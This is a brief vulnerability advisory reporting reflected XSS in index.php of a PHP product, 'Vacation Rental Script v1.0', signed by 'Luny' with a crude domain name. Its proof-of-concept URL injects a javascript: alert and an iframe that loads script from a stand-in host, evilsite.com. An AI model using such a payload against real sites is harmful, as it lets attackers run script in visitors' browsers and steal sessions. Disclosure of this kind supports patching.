Vacation Rental Script v1.0 suffers from XSS
d103ee0fb58d48f0198eea395363192537f1de6d9e4dc8994e7f136a0b0e7dcb
Vacation Retal Script v1.0
Homepage:
http://www.vacationrentalscript.com/
Description:
Vacation Rentals is the best solution for your vacation rental online business. Its easy to install, easy to use, provides lots of features and option details. Just check the online demo and convince yourself about how easy is to manage your business online.
Effected files:
index.php
XSS Vulnerabilities:
XSS attack possible from URL injection, proof of concept is below:
http://www.example.com/index.php?obj=<INPUT%20TYPE="IMAGE"%20SRC=javascript:alert('XSS');><iframe%20src=http://www.evilsite.com/code.js>
--------------------------------------------------
Luny - http://www.youfucktard.com